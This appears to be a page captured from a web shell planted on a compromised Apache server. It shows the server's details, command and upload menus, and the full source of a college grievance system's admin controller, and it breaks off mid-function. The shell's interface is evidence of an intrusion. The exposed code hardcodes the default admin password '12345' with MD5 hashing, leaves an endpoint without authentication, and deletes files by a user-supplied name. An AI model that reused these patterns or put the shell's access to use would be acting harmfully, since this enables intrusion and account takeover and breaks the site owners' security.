GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.145.58.158
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/sys_admin/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/sys_admin/application/controllers/admin/Institute.php
<?php

/**
 * Controller For Handling Requests Related To Institutes
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Institute extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->helper('url');
        $this->load->library('session');
        $this->load->helper('form');
        $this->load->library('form_validation');
        $this->load->model("admin/InstituteManagement");
        $this->load->model("admin/LocationManagement");
        $this->load->model("admin/UserManagement");
    }

    public function index() {
        if ($this->session->userdata('logged_in')) {
            $viewData['allInstitutes'] = $this->InstituteManagement->getAllInstitutesList()->result();
            $this->load->view('admin/institutes', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createNewInstitute() {
        if ($this->session->userdata('logged_in')) {
            $viewData['allStates'] = $this->LocationManagement->getAllActiveStates()->result();
            $this->load->view('admin/add_institute', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewInstitute() {
        if ($this->session->userdata('logged_in')) {
            $this->form_validation->set_rules('instName', 'Institute Name', 'trim|required', array('required' => 'Institute Name Can Not Be Blank.'));
            $this->form_validation->set_rules('instCode', 'Institute Code', 'trim|required|numeric', array('required' => 'Institute Code Can Not Be Blank'));
            $this->form_validation->set_rules('instEmail', 'Institute Email', 'trim|required|valid_email', array('required' => 'Institute Email Is Required.'));
            $this->form_validation->set_rules('instMobile', 'Institute Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Institute Mobile Is Required.'));
            $this->form_validation->set_rules('instLandline', 'Institute Landline', 'trim|required|numeric|min_length[7]|max_length[11]', array('required' => 'Institute Landline Is Required.'));
            $this->form_validation->set_rules('instWebsite', 'Institute Website', 'required', array('required' => 'Institute Website Is Required.'));
            $this->form_validation->set_rules('instSubdomain', 'Institute Subdomain Name', 'required', array('required' => 'Institute Subdomain Name Is Required.'));
            $queryByCode = $this->InstituteManagement->getInstituteInfoByCode($this->input->post('instCode'));
            $instituteInfoByCode = $queryByCode->result();
            $queryByEmail = $this->InstituteManagement->getInstituteInfoByEmail($this->input->post('instEmail'));
            $instituteInfoByEmail = $queryByEmail->result();
            $queryByMobile = $this->InstituteManagement->getInstituteInfoByMobileNumber($this->input->post('instMobile'));
            $insituteInfoByMobile = $queryByMobile->result();
            $queryBySubdomain = $this->InstituteManagement->getInstituteInfoBySubdomain($this->input->post('instSubdomain'));
            $insituteInfoBySubdomain = $queryBySubdomain->result();
            $queryByWebsiteURL = $this->InstituteManagement->getInstituteInfoWebsiteURL($this->input->post('instWebsite'));
            $insituteInfoByWebsiteURL = $queryByWebsiteURL->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createNewInstitute();
            } else if (empty($_FILES['instLogo']['name'])) {
                $this->form_validation->set_rules('instLogo', 'Institute Logo', 'required', array('required' => 'Institute Logo Is Required.'));
                $this->form_validation->run();
                $this->createNewInstitute();
            } else if (sizeof($instituteInfoByCode)) {
                $this->session->set_flashdata('errorMessage', "An Institute With This Code Already Exits.");
                $this->createNewInstitute();
            } else if (sizeof($instituteInfoByEmail)) {
                $this->session->set_flashdata('errorMessage', "An Institute With This Email Already Exits.");
                $this->createNewInstitute();
            } else if (sizeof($insituteInfoByMobile)) {
                $this->session->set_flashdata('errorMessage', "An Institute With This Mobile Is Already Registered.");
                $this->createNewInstitute();
            } else if (sizeof($insituteInfoBySubdomain)) {
                $this->session->set_flashdata('errorMessage', "This Sub-Domain Is Already In Use.");
                $this->createNewInstitute();
            } else if (sizeof($insituteInfoByWebsiteURL)) {
                $this->session->set_flashdata('errorMessage', "This Website URL Is Already In Use.");
                $this->createNewInstitute();
            } else {
                $instituteLogoImageNameWithPath = "";
                $configLogoImg['upload_path'] = './assets/images/client_logos/';
                $configLogoImg['allowed_types'] = 'jpeg|jpg|png|webp';
                $configLogoImg['max_size'] = '800';
                $configLogoImg['file_ext_tolower'] = TRUE;
                $configLogoImg['encrypt_name'] = TRUE;
                $this->load->library('upload', $configLogoImg);
                if (!$this->upload->do_upload('instLogo')) {
                    $this->session->set_flashdata('errorMessage', "The Logo Can Not Be Uploaded As It Do Not Match With Logo Image Criteria. File Size 800 KB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp.");
                    $this->createNewInstitute();
                } else {
                    $instituteLogoImageNameWithPath = base_url("assets/images/client_logos/") . $this->upload->data()['file_name'];
                    $newInstituteInfo = array(
                        'clg_name' => $this->input->post('instName'),
                        'clg_code' => $this->input->post('instCode'),
                        'clg_email' => $this->input->post('instEmail'),
                        'clg_mobile' => $this->input->post('instMobile'),
                        'clg_landline' => $this->input->post('instLandline'),
                        'clg_website_url' => $this->input->post('instWebsite'),
                        'clg_subdomain' => $this->input->post('instSubdomain'),
                        'clg_logo_url' => $instituteLogoImageNameWithPath,
                        'clg_city' => (trim($this->input->post('instCity')) == "") ? 0 : $this->input->post('instCity'),
                        'clg_addr_line_one' => $this->input->post('instAddrLineOne'),
                        'clg_addr_line_two' => $this->input->post('instAddrLineTwo'),
                        'clg_addr_line_three' => $this->input->post('instAddrLineThree'),
                        'clg_pincode' => $this->input->post('instZip'),
                        'clg_landmark' => $this->input->post('instLandMark'),
                        'clg_alt_email' => $this->input->post('instAltEmail'),
                        'clg_alt_mobile' => $this->input->post('instAltMobile'),
                        'clg_alt_landline' => $this->input->post('instAltLandline'),
                        'clg_added_on' => date("Y-m-d H:i:s"),
                        'clg_added_by' => $this->session->userdata('id'),
                        'clg_updated_on_sa' => date("Y-m-d H:i:s"),
                        'clg_updated_by_sa' => $this->session->userdata('id'),
                    );
                    $clg_id = $this->InstituteManagement->createNewInstitute($newInstituteInfo);
                    if ($clg_id) {
                        if ($this->InstituteManagement->callAllotGrievanceCategoriesProcedure($clg_id, date("Y-m-d H:i:s"))) {
                            $this->session->set_flashdata('successMessage', 'Institute Added Successfully.');
                            redirect("admin/Institute/");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Institute Has Been Added Successfully But Default Grievance Categories Can Not Be Assigned..');
                            $this->createNewInstitute();
                        }
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Adding Institute. Try Later.');
                        $this->createNewInstitute();
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleInstituteActiveStatus($clg_id, $toUpdateStatus) {
        if ($this->session->userdata('logged_in')) {
            $instituteUpdateData = array(
                'clg_id' => $clg_id,
                'clg_active_status' => $toUpdateStatus,
                'clg_updated_on_sa' => date("Y-m-d H:i:s"),
                'clg_updated_by_sa' => $this->session->userdata('id')
            );
            if ($this->InstituteManagement->updateInstituteInfo($instituteUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Institute Status Updated Successfully.');
                redirect("admin/Institute/");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Institute Status. Try Later.');
                redirect("admin/Institute/");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteInstitute($clg_id) {
        if ($this->session->userdata('logged_in')) {
            $instituteDeleteData = array(
                'clg_id' => $clg_id,
                'clg_updated_on_sa' => date("Y-m-d H:i:s"),
                'clg_updated_by_sa' => $this->session->userdata('id'),
                'clg_delete_status' => 'T'
            );
            $this->InstituteManagement->updateInstituteInfo($instituteDeleteData);
            redirect("admin/Institute/");
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteInstitute($clg_id) {
        if ($this->session->userdata('logged_in')) {
            $instituteUndoDeleteData = array(
                'clg_id' => $clg_id,
                'clg_updated_on_sa' => date("Y-m-d H:i:s"),
                'clg_updated_by_sa' => $this->session->userdata('id'),
                'clg_delete_status' => 'F'
            );
            $this->InstituteManagement->updateInstituteInfo($instituteUndoDeleteData);
            redirect("admin/Institute/");
        } else {
            redirect("admin/");
        }
    }

    public function getInstituteInfoBy() {
        $clg_id = $_POST['inst_id'];
        $college_info = $this->InstituteManagement->getInstituteInfoById($clg_id)->result()[0];
        $grpURL = $college_info->clg_subdomain . substr($college_info->clg_website_url, strpos($college_info->clg_website_url, "."));
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'clg_id' => $college_info->clg_id,
            'clg_name' => $college_info->clg_name,
            'clg_code' => $college_info->clg_code,
            'clg_city' => $college_info->cityName,
            'clg_state' => $college_info->stateName,
            'clg_addr_line_one' => ($college_info->clg_addr_line_one == "") ? "NA" : $college_info->clg_addr_line_one,
            'clg_addr_line_two' => ($college_info->clg_addr_line_two == "") ? "NA" : $college_info->clg_addr_line_two,
            'clg_addr_line_three' => ($college_info->clg_addr_line_three == "") ? "NA" : $college_info->clg_addr_line_three,
            'clg_pincode' => ($college_info->clg_pincode == "") ? "NA" : $college_info->clg_pincode,
            'clg_landmark' => ($college_info->clg_landmark == "") ? "NA" : $college_info->clg_landmark,
            'clg_website_url' => $college_info->clg_website_url,
            'clg_subdomain' => $college_info->clg_subdomain,
            'clg_email' => $college_info->clg_email,
            'clg_landline' => $college_info->clg_landline,
            'clg_alt_landline' => ($college_info->clg_alt_landline == "") ? "NA" : $college_info->clg_alt_landline,
            'clg_mobile' => $college_info->clg_mobile,
            'clg_alt_mobile' => ($college_info->clg_alt_mobile == "") ? "NA" : $college_info->clg_alt_mobile,
            'clg_logo_url' => $college_info->clg_logo_url,
            'clg_added_by' => $college_info->addedByAdmin . " On " . date('d-m-Y h:i:s A', strtotime($college_info->clg_added_on)),
            'clg_updated_by_sa' => $college_info->updatedByAdmin . " On " . date('d-m-Y h:i:s A', strtotime($college_info->clg_updated_on_sa)),
            'clg_updated_by_ca' => '-',
            'clg_updated_on_ca' => date('d-m-Y h:i:s A', strtotime($college_info->clg_updated_on_ca)),
            'clg_active_status' => ($college_info->clg_active_status == 'T') ? "Active" : "Blocked",
            'clg_delete_status' => ($college_info->clg_delete_status == 'T') ? "Deleted" : "-",
            'clg_alt_email' => ($college_info->clg_alt_email == "") ? "NA" : $college_info->clg_alt_email,
            'clg_grp_url' => $grpURL
        );
        echo json_encode($responseData);
    }

    public function editInstitute($inst_id) {
        if ($this->session->userdata('logged_in')) {
            $viewData['allStates'] = $this->LocationManagement->getAllActiveStates()->result();
            $viewData['institute_info'] = $this->InstituteManagement->getInstituteInfoById($inst_id)->result()[0];
            $this->load->view('admin/edit_institute', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateInstitute() {
        if ($this->session->userdata('logged_in')) {
            $this->form_validation->set_rules('instName', 'Institute Name', 'trim|required', array('required' => 'Institute Name Can Not Be Blank.'));
            $this->form_validation->set_rules('instCode', 'Institute Code', 'trim|required|numeric', array('required' => 'Institute Code Can Not Be Blank'));
            $this->form_validation->set_rules('instEmail', 'Institute Email', 'trim|required|valid_email', array('required' => 'Institute Email Is Required.'));
            $this->form_validation->set_rules('instMobile', 'Institute Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Institute Mobile Is Required.'));
            $this->form_validation->set_rules('instLandline', 'Institute Landline', 'trim|required|numeric|min_length[7]|max_length[11]', array('required' => 'Institute Landline Is Required.'));
            $this->form_validation->set_rules('instWebsite', 'Institute Website', 'required', array('required' => 'Institute Website Is Required.'));
            $this->form_validation->set_rules('instSubdomain', 'Institute Subdomain Name', 'required', array('required' => 'Institute Subdomain Name Is Required.'));
            $instituteCurrentLogoImageFileName = substr($this->input->post('instCurrentLogoURL'), strripos($this->input->post('instCurrentLogoURL'), "/") + 1);
            if ($this->form_validation->run() == FALSE) {
                $this->editInstitute($this->input->post('instId'));
            } else {
                if (!$this->InstituteManagement->isEmailSafeUpdate($this->input->post('instId'), $this->input->post('instEmail'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Email (" . $this->input->post('instEmail') . ") Already Exits. Please Try With Different Email.");
                    $this->editInstitute($this->input->post('instId'));
                } else if (!$this->InstituteManagement->isMobileSafeUpdate($this->input->post('instId'), $this->input->post('instMobile'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Mobile (" . $this->input->post('instMobile') . ") Number Already Exits. Please Try With Different Mobile.");
                    $this->editInstitute($this->input->post('instId'));
                } else if (!$this->InstituteManagement->isInstituteCodeSafeUpdate($this->input->post('instId'), $this->input->post('instCode'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Code (" . $this->input->post('instCode') . ") Already Exits. Please Try With Correct Code.");
                    $this->editInstitute($this->input->post('instId'));
                } else if (!$this->InstituteManagement->isSubDomainSafeUpdate($this->input->post('instId'), $this->input->post('instSubdomain'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Subdomain (" . $this->input->post('instSubdomain') . ") Already Exits. Please Try With Different Website.");
                    $this->editInstitute($this->input->post('instId'));
                } else if (!$this->InstituteManagement->isWebsiteURLSafeUpdate($this->input->post('instId'), $this->input->post('instWebsite'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Website (" . $this->input->post('instWebsite') . ") Already Exits. Please Try With Correct Website.");
                    $this->editInstitute($this->input->post('instId'));
                } else {
                    if (empty($_FILES['instLogo']['name'])) {
                        $logoImageNameWithPath = $this->input->post('instCurrentLogoURL');
                        $instituteUpdateInfo = array(
                            'clg_id' => $this->input->post('instId'),
                            'clg_name' => $this->input->post('instName'),
                            'clg_code' => $this->input->post('instCode'),
                            'clg_email' => $this->input->post('instEmail'),
                            'clg_mobile' => $this->input->post('instMobile'),
                            'clg_landline' => $this->input->post('instLandline'),
                            'clg_website_url' => $this->input->post('instWebsite'),
                            'clg_subdomain' => $this->input->post('instSubdomain'),
                            'clg_logo_url' => $logoImageNameWithPath,
                            'clg_city' => (trim($this->input->post('instCity')) == "") ? 0 : $this->input->post('instCity'),
                            'clg_addr_line_one' => $this->input->post('instAddrLineOne'),
                            'clg_addr_line_two' => $this->input->post('instAddrLineTwo'),
                            'clg_addr_line_three' => $this->input->post('instAddrLineThree'),
                            'clg_pincode' => $this->input->post('instZip'),
                            'clg_landmark' => $this->input->post('instLandMark'),
                            'clg_alt_email' => $this->input->post('instAltEmail'),
                            'clg_alt_mobile' => $this->input->post('instAltMobile'),
                            'clg_alt_landline' => $this->input->post('instAltLandline'),
                            'clg_updated_on_sa' => date("Y-m-d H:i:s"),
                            'clg_updated_by_sa' => $this->session->userdata('id'),
                        );
                        if ($this->InstituteManagement->updateInstituteInfo($instituteUpdateInfo)) {
                            $this->session->set_flashdata('successMessage', 'Institute Updated Successfully.');
                            redirect("admin/Institute/");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Institute Info. Try Later.');
                            $this->editInstitute($this->input->post('instId'));
                        }
                    } else {
                        $logoImageNameWithPath = "";
                        $configLogoImg['upload_path'] = './assets/images/client_logos/';
                        $configLogoImg['allowed_types'] = 'jpeg|jpg|png|webp';
                        $configLogoImg['max_size'] = '800';
                        $configLogoImg['file_ext_tolower'] = TRUE;
                        $configLogoImg['encrypt_name'] = TRUE;
                        $this->load->library('upload', $configLogoImg);
                        if (!$this->upload->do_upload('instLogo')) {
                            $this->session->set_flashdata('errorMessage', "The Logo Can Not Be Uploaded As It Do Not Match With Logo Image Criteria. File Size 800 KB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp.");
                            $this->editInstitute($this->input->post('instId'));
                        } else {
                            $logoImageNameWithPath = base_url("assets/images/client_logos/") . $this->upload->data()['file_name'];
                            $instituteUpdateInfo = array(
                                'clg_id' => $this->input->post('instId'),
                                'clg_name' => $this->input->post('instName'),
                                'clg_code' => $this->input->post('instCode'),
                                'clg_email' => $this->input->post('instEmail'),
                                'clg_mobile' => $this->input->post('instMobile'),
                                'clg_landline' => $this->input->post('instLandline'),
                                'clg_website_url' => $this->input->post('instWebsite'),
                                'clg_subdomain' => $this->input->post('instSubdomain'),
                                'clg_logo_url' => $logoImageNameWithPath,
                                'clg_city' => (trim($this->input->post('instCity')) == "") ? 0 : $this->input->post('instCity'),
                                'clg_addr_line_one' => $this->input->post('instAddrLineOne'),
                                'clg_addr_line_two' => $this->input->post('instAddrLineTwo'),
                                'clg_addr_line_three' => $this->input->post('instAddrLineThree'),
                                'clg_pincode' => $this->input->post('instZip'),
                                'clg_landmark' => $this->input->post('instLandMark'),
                                'clg_alt_email' => $this->input->post('instAltEmail'),
                                'clg_alt_mobile' => $this->input->post('instAltMobile'),
                                'clg_alt_landline' => $this->input->post('instAltLandline'),
                                'clg_updated_on_sa' => date("Y-m-d H:i:s"),
                                'clg_updated_by_sa' => $this->session->userdata('id'),
                            );
                            if ($this->InstituteManagement->updateInstituteInfo($instituteUpdateInfo)) {
                                unlink("./assets/images/client_logos/" . $instituteCurrentLogoImageFileName);
                                $this->session->set_flashdata('successMessage', 'Institute Updated Successfully.');
                                redirect("admin/Institute/");
                            } else {
                                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Institute Info. Try Later.');
                                $this->editInstitute($this->input->post('instId'));
                            }
                        }
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function instituteAdmins() {
        if ($this->session->userdata('logged_in')) {
            $viewData['allInstituteAdmins'] = $this->UserManagement->getAllUsers("NA", "CA")->result();
            $this->load->view('admin/institute_admins', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createInstituteAdmin() {
        if ($this->session->userdata('logged_in')) {
            $viewData['allActiveColleges'] = $this->InstituteManagement->getAllActiveNonDeletedInstitutesList()->result();
            $this->load->view('admin/add_institute_admin', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function addNewInstituteAdmin() {
        if ($this->session->userdata('logged_in')) {
            $this->form_validation->set_rules('clgAdmCollege', 'College Name', 'trim|required', array('required' => 'Please Select The Institute Of This Admin.'));
            $this->form_validation->set_rules('clgAdmFirstName', 'Admin First Name', 'trim|required', array('required' => 'Admin First Name Can Not Be Blank'));
            $this->form_validation->set_rules('clgAdmEmail', 'Admin Email', 'trim|required|valid_email', array('required' => 'Admin Email Is Required.'));
            $this->form_validation->set_rules('clgAdmMobile', 'Admin Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Admin Mobile Is Required.'));
            $this->form_validation->set_rules('clgAdmGender', 'Admin Gender', 'required', array('required' => 'Admin Gender Is Required.'));
            $this->form_validation->set_rules('clgAdmSMSAuthFlag', 'Admin SMS Allow Status', 'required', array('required' => 'Admin SMS Allow Status Is Required.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createInstituteAdmin();
            } else {
                $queryByEmail = $this->UserManagement->getUserInfoByEmail($this->input->post('clgAdmEmail'));
                $clgAdminInfoByEmail = $queryByEmail->result();
                $queryByMobile = $this->UserManagement->getUserInfoByMobileNumber($this->input->post('clgAdmMobile'));
                $clgAdminInfoByMobile = $queryByMobile->result();
                if (sizeof($clgAdminInfoByEmail)) {
                    $this->session->set_flashdata('errorMessage', "An Institute Admin With This Email Already Exits. Please Try With Different Email.");
                    $this->createInstituteAdmin();
                } else if (sizeof($clgAdminInfoByMobile)) {
                    $this->session->set_flashdata('errorMessage', "An Institute Admin With This Mobile Number Already Exits. Please Try With Different Mobile.");
                    $this->createInstituteAdmin();
                } else {
                    if (empty($_FILES['clgAdminProfileImg']['name'])) {
                        $profileImageNameWithPath = base_url("assets/images/clg_admins/default.png");
                        $password = "12345";
                        $newCollegeAdminInfo = array(
                            'cau_first_name' => $this->input->post('clgAdmFirstName'),
                            'cau_last_name' => $this->input->post('clgAdmLastName'),
                            'cau_password' => MD5($password),
                            'cau_email' => $this->input->post('clgAdmEmail'),
                            'cau_mobile' => $this->input->post('clgAdmMobile'),
                            'cau_gender' => $this->input->post('clgAdmGender'),
                            'cau_alt_email' => $this->input->post('clgAdmAltEmail'),
                            'cau_alt_mobile' => $this->input->post('clgAdmAltMobile'),
                            'cau_mobile_verify_status' => 'T',
                            'cau_email_verify_status' => 'T',
                            'cau_approve_status' => 'T',
                            'cau_user_type_flag' => 'NA',
                            'cau_user_role_flag' => 'CA',
                            'cau_auth_sms_flag' => $this->input->post('clgAdmSMSAuthFlag'),
                            'cau_image_url' => $profileImageNameWithPath,
                            'cau_signup_on' => date("Y-m-d H:i:s"),
                            'cau_admin_opr_by' => $this->session->userdata('id'),
                            'cau_admin_opr_on' => date("Y-m-d H:i:s"),
                            'cau_last_updated_on' => date("Y-m-d H:i:s"),
                            'clg_id' => $this->input->post('clgAdmCollege')
                        );
                        if ($this->UserManagement->createNewUser($newCollegeAdminInfo)) {
                            $this->session->set_flashdata('successMessage', 'Institute Admin Added Successfully.');
                            redirect("admin/Institute/instituteAdmins");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Creating Institute Admin. Try Later.');
                            $this->createInstituteAdmin();
                        }
                    } else {
                        $profileImageNameWithPath = "";
                        $configProfileImg['upload_path'] = './assets/images/clg_admins/';
                        $configProfileImg['allowed_types'] = 'jpeg|jpg|png|webp';
                        //$configProfileImg['max_width'] = '320';
                        //$configProfileImg['max_height'] = '220';
                        $configProfileImg['max_size'] = '800';
                        $configProfileImg['file_ext_tolower'] = TRUE;
                        $configProfileImg['encrypt_name'] = TRUE;
                        $this->load->library('upload', $configProfileImg);
                        if (!$this->upload->do_upload('clgAdminProfileImg')) {
                            $this->session->set_flashdata('errorMessage', "The Profile Image Can Not Be Uploaded As It Do Not Match With Profile Image Criteria. File Size 800 KB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp");
                            $this->createInstituteAdmin();
                        } else {
                            $profileImageNameWithPath = base_url("assets/images/clg_admins/") . $this->upload->data()['file_name'];
                            $password = "12345";
                            $newCollegeAdminInfo = array(
                                'cau_first_name' => $this->input->post('clgAdmFirstName'),
                                'cau_last_name' => $this->input->post('clgAdmLastName'),
                                'cau_password' => MD5($password),
                                'cau_email' => $this->input->post('clgAdmEmail'),
                                'cau_mobile' => $this->input->post('clgAdmMobile'),
                                'cau_gender' => $this->input->post('clgAdmGender'),
                                'cau_alt_email' => $this->input->post('clgAdmAltEmail'),
                                'cau_alt_mobile' => $this->input->post('clgAdmAltMobile'),
                                'cau_mobile_verify_status' => 'T',
                                'cau_email_verify_status' => 'T',
                                'cau_approve_status' => 'T',
                                'cau_user_type_flag' => 'NA',
                                'cau_user_role_flag' => 'CA',
                                'cau_auth_sms_flag' => $this->input->post('clgAdmSMSAuthFlag'),
                                'cau_image_url' => $profileImageNameWithPath,
                                'cau_signup_on' => date("Y-m-d H:i:s"),
                                'cau_admin_opr_by' => $this->session->userdata('id'),
                                'cau_admin_opr_on' => date("Y-m-d H:i:s"),
                                'cau_last_updated_on' => date("Y-m-d H:i:s"),
                                'clg_id' => $this->input->post('clgAdmCollege')
                            );
                            if ($this->UserManagement->createNewUser($newCollegeAdminInfo)) {
                                $this->session->set_flashdata('successMessage', 'Institute Admin Added Successfully.');
                                redirect("admin/Institute/instituteAdmins");
                            } else {
                                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Creating Institute Admin. Try Later.');
                                $this->createInstituteAdmin();
                            }
                        }
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleInstituteAdminBlockStatus($cau_id, $toUpdateStatus) {
        if ($this->session->userdata('logged_in')) {
            $instituteAdminUpdateData = array(
                'cau_id' => $cau_id,
                'cau_block_status' => $toUpdateStatus,
                'cau_admin_opr_on' => date("Y-m-d H:i:s"),
                'cau_admin_opr_by' => $this->session->userdata('id')
            );
            if ($this->UserManagement->updateUserInfo($instituteAdminUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Institute Admin Block Status Updated Successfully.');
                redirect("admin/Institute/instituteAdmins");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Institute Admin Block Status. Try Later.');
                redirect("admin/Institute/instituteAdmins");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteInstituteAdmin($cau_id) {
        if ($this->session->userdata('logged_in')) {
            $instituteAdminDeleteData = array(
                'cau_id' => $cau_id,
                'cau_admin_opr_on' => date("Y-m-d H:i:s"),
                'cau_admin_opr_by' => $this->session->userdata('id'),
                'cau_delete_status' => 'T'
            );
            if ($this->UserManagement->updateUserInfo($instituteAdminDeleteData)) {
                $this->session->set_flashdata('successMessage', 'Institute Admin Deleted Successfully.');
                redirect("admin/Institute/instituteAdmins");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Institute Admin. Try Later.');
                redirect("admin/Institute/instituteAdmins");
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteInstituteAdmin($cau_id) {
        if ($this->session->userdata('logged_in')) {
            $instituteAdminUndoDeleteData = array(
                'cau_id' => $cau_id,
                'cau_admin_opr_on' => date("Y-m-d H:i:s"),
                'cau_admin_opr_by' => $this->session->userdata('id'),
                'cau_delete_status' => 'F'
            );
            if ($this->UserManagement->updateUserInfo($instituteAdminUndoDeleteData)) {
                $this->session->set_flashdata('successMessage', 'Institute Admin Restored Successfully.');
                redirect("admin/Institute/instituteAdmins");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Restoring Institute Admin. Try Later.');
                redirect("admin/Institute/instituteAdmins");
            }
        } else {
            redirect("admin/");
        }
    }
    
    public function resetInstituteAdminPassword($cau_id) {
        if ($this->session->userdata('logged_in')) {
            $instituteAdminResetPassword = array(
                'cau_id' => $cau_id,
                'cau_admin_opr_on' => date("Y-m-d H:i:s"),
                'cau_admin_opr_by' => $this->session->userdata('id'),
                'cau_password' => MD5("12345")
            );
            if ($this->UserManagement->updateUserInfo($instituteAdminResetPassword)) {
                $this->session->set_flashdata('successMessage', 'Institute Admin Password Reset Successfully.');
                redirect("admin/Institute/instituteAdmins");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Resetting Institute Admin Password. Try Later.');
                redirect("admin/Institute/instituteAdmins");
            }
        } else {
            redirect("admin/");
        }
    }

    public function editInstituteAdmin($cau_id) {
        if ($this->session->userdata('logged_in')) {
            $viewData['allActiveColleges'] = $this->InstituteManagement->getAllActiveNonDeletedInstitutesList()->result();
            $viewData['institute_admin_info'] = $this->UserManagement->getUserInfoBy($cau_id)->result()[0];
            $this->load->view('admin/edit_institute_admin', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateInstituteAdmin() {
        if ($this->session->userdata('logged_in')) {
            $this->form_validation->set_rules('clgAdmCollege', 'College Name', 'trim|required', array('required' => 'Please Select The Institute Of This Admin.'));
            $this->form_validation->set_rules('clgAdmFirstName', 'Admin First Name', 'trim|required', array('required' => 'Admin First Name Can Not Be Blank'));
            $this->form_validation->set_rules('clgAdmEmail', 'Admin Email', 'trim|required|valid_email', array('required' => 'Admin Email Is Required.'));
            $this->form_validation->set_rules('clgAdmMobile', 'Admin Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Admin Mobile Is Required.'));
            $this->form_validation->set_rules('clgAdmGender', 'Admin Gender', 'required', array('required' => 'Admin Gender Is Required.'));
            $this->form_validation->set_rules('clgAdmSMSAuthFlag', 'Admin SMS Allow Status', 'required', array('required' => 'Admin SMS Allow Status Is Required.'));
            $instituteAdminCurrentProfileImageFileName = substr($this->input->post('clgAdmIdCurrentProfileImg'), strripos($this->input->post('clgAdmIdCurrentProfileImg'), "/") + 1);
            if ($this->form_validation->run() == FALSE) {
                $this->editInstituteAdmin($this->input->post('clgAdmId'));
            } else {
                if (!$this->UserManagement->isEmailSafeUpdateForUser($this->input->post('clgAdmId'), $this->input->post('clgAdmEmail'))) {
                    $this->session->set_flashdata('errorMessage', "This Email (" . $this->input->post('clgAdmEmail') . ") Is Already In Use. Please Try With Different Email.");
                    $this->editInstituteAdmin($this->input->post('clgAdmId'));
                } else if (!$this->UserManagement->isMobileSafeUpdateForUser($this->input->post('clgAdmId'), $this->input->post('clgAdmMobile'))) {
                    $this->session->set_flashdata('errorMessage', "This Mobile (" . $this->input->post('clgAdmMobile') . ") Number Is Already In Use. Please Try With Different Mobile.");
                    $this->editInstituteAdmin($this->input->post('clgAdmId'));
                } else {
                    if (empty($_FILES['clgAdminProfileImg']['name'])) {
                        $profileImageNameWithPath = $this->input->post('clgAdmIdCurrentProfileImg');
                        $instituteAdminUpdateInfo = array(
                            'cau_id' => $this->input->post('clgAdmId'),
                            'cau_first_name' => $this->input->post('clgAdmFirstName'),
                            'cau_last_name' => $this->input->post('clgAdmLastName'),
                            'cau_email' => $this->input->post('clgAdmEmail'),
                            'cau_mobile' => $this->input->post('clgAdmMobile'),
                            'cau_gender' => $this->input->post('clgAdmGender'),
                            'cau_alt_email' => $this->input->post('clgAdmAltEmail'),
                            'cau_alt_mobile' => $this->input->post('clgAdmAltMobile'),
                            'cau_auth_sms_flag' => $this->input->post('clgAdmSMSAuthFlag'),
                            'cau_image_url' => $profileImageNameWithPath,
                            'cau_admin_opr_by' => $this->session->userdata('id'),
                            'cau_admin_opr_on' => date("Y-m-d H:i:s"),
                            'cau_last_updated_on' => date("Y-m-d H:i:s"),
                            'clg_id' => $this->input->post('clgAdmCollege')
                        );
                        if ($this->UserManagement->updateUserInfo($instituteAdminUpdateInfo)) {
                            $this->session->set_flashdata('successMessage', 'Institute Admin Info Updated Successfully.');
                            redirect("admin/Institute/instituteAdmins");
                        } else {
